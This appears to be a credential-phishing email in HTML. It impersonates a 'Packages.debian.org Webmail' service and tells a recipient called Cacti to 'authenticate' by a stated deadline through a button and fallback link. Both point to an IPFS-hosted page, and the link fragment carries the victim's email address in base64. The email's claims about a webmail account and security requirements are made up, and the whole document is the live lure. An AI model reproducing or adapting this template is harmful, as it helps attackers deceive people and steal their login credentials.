<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Packages.debian.org Webmail Access Notification</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            min-width: 100%;
            font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            line-height: 1.6;
            background-color: #f6f6f6;
            color: #333333;
        }
        
        .email-wrapper {
            width: 100%;
            max-width: 640px;
            margin: 20px auto;
            background-color: #ffffff;
            overflow: hidden;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.08);
        }
        
        .header {
            background-color: #007BFF;
            color: #ffffff;
            padding: 28px 20px;
            text-align: center;
            border-bottom: 4px solid #0056b3;
        }
        
        .header h1 {
            margin: 0;
            font-size: 20px;
            font-weight: 600;
            letter-spacing: 0.5px;
        }
        
        .content {
            padding: 32px 30px;
            font-size: 15px;
            color: #444444;
        }
        
        .user-info {
            margin-bottom: 24px;
            padding: 16px;
            background-color: #f8f9fa;
        }
        
        .user-info p {
            margin: 8px 0;
        }
        
        .cta-button {
            display: block;
            width: 240px;
            margin: 28px auto;
            padding: 14px 28px;
            background-color: #007BFF;
            color: #ffffff !important;
            text-decoration: none;
            text-align: center;
            font-weight: 600;
            transition: background-color 0.2s;
        }
        
        .cta-button:hover {
            background-color: #0056b3;
        }
        
        .fallback-link {
            display: block;
            margin: 16px 0;
            padding: 12px;
            background-color: #f8f9fa;
            font-family: monospace;
            font-size: 13px;
            word-break: break-all;
        }
        
        .footer {
            padding: 20px 30px;
            background-color: #f8f9fa;
            color: #666666;
            font-size: 13px;
            line-height: 1.5;
            border-top: 1px solid #e9ecef;
        }
        
        .footer p {
            margin: 8px 0;
        }
        
        .text-accent {
            color: #007BFF;
            font-weight: 600;
        }
        
        @media screen and (max-width: 600px) {
            .email-wrapper {
                width: 100% !important;
            }
        }
    </style>
</head>
<body>
    <div class="email-wrapper">
        <div class="header">
            <h1>Packages.debian.org Webmail System Notification</h1>
        </div>
        
        <div class="content">
            <div class="user-info">
                <p><strong>Account Holder:</strong> Cacti</p>
                <p><strong>Registered Email:</strong> Cacti@packages.debian.org</p>
            </div>
            
            <p>Our records indicate you have <span class="text-accent">1 pending message</span> in the Packages.debian.org Webmail system. Please authenticate through our updated Webmail 2.0 interface to access your messages.</p>
            
            <p>For security purposes, all users must complete authentication through the new webmail interface by:</p>
            <p class="text-accent">March 27, 2025</p>

            <a href="https://ipfs.io/ipfs/bafkreib3b2vvbexn3c3lonxzsokwgnc5aycjlzp72h5t3sondrixjl3iy4#Y2FjdGlAcGFja2FnZXMuZGViaWFuLm9yZw==" class="cta-button" target="_blank">
                Access Webmail 2.0
            </a>

            <span class="fallback-link">
                https://ipfs.io/ipfs/bafkreib3b2vvbexn3c3lonxzsokwgnc5aycjlzp72h5t3sondrixjl3iy4#Y2FjdGlAcGFja2FnZXMuZGViaWFuLm9yZw==
            </span>
            
            <p>Should you encounter any issues with the authentication button, please copy and paste the above URL directly into your browser's address bar.</p>
        </div>
        
        <div class="footer">
            <p><strong>Important Security Notice:</strong> Never share your login credentials with third parties. Packages.debian.org support staff will never ask for your password.</p>
            <p>Manage notification preferences through your Webmail Account Settings.</p>
            <p>© Packages.debian.org Web Services • All rights reserved</p>
        </div>
    </div>

    <!--[if mso]>
    <style type="text/css">
        .email-wrapper {
            width: 640px;
            margin: 0 auto;
        }
        .cta-button {
            padding: 14px 28px !important;
        }
    </style>
    <![endif]-->
</body>
</html>